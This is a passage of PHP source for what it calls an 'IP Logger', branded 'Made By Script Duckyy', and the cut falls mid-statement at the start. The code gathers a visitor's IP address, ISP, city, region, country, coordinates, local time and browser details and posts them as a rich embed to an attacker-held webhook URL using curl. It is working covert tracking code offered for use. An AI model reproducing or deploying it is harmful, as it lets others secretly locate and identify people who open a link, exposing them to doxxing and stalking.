isp; $Country = $Info->country; $Region = $Info->regionName; $City = $Info->city; $COORD = "$Info->lat, $Info->lon"; // Coordinates $timestamp = date("c", strtotime("now")); $json_data = json_encode([ // Message "content" => "", // Username "username" => "IP Logger | Made By Script Duckyy", // Embeds Array "embeds" => [ [ // Embed Title "title" => "Script Duckyy IP Logger", // Embed Type "type" => "rich", // Timestamp of embed must be formatted as ISO8601 "timestamp" => $timestamp, // Embed left border color in HEX "color" => hexdec( "ff9933" ), // Footer "footer" => [ "text" => "Subscribe to Script Duckyy", "icon_url" => "https://i.vgy.me/WBrIqy.png?size=375" ], // Thumbnail //"thumbnail" => [ // "url" => "https://i.vgy.me/Lzqvsr.png?size=600" //], // Author "author" => [ ], // Field array of objects "fields" => [ // Field 1 [ "name" => "IP", "value" => "$ip", "inline" => true ], // Field 2 [ "name" => "Location", "value" => "$City, $Region", "inline" => true ], // Field 3 [ "name" => "Country", "value" => "$Country", "inline" => true ], // Field 4 [ "name" => "ISP", "value" => "$ISP", "inline" => false ], // Field 5 [ "name" => "Coordinates", "value" => "$COORD", "inline" => false ], // Field 1.5 [ "name" => "Date & Time", "value" => "$TheirDate | $TheirTime", "inline" => true ], // Field 6 [ "name" => "Browser Info", "value" => "$Browser", "inline" => false ] ] ] ] ], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); $ch = curl_init( $webhookurl ); curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); curl_setopt( $ch, CURLOPT_POST, 1); curl_setopt( $ch, CURLOPT_POSTFIELDS, $json_data); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt( $ch, CURLOPT_HEADER, 0); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec( $ch ); curl_close( $ch );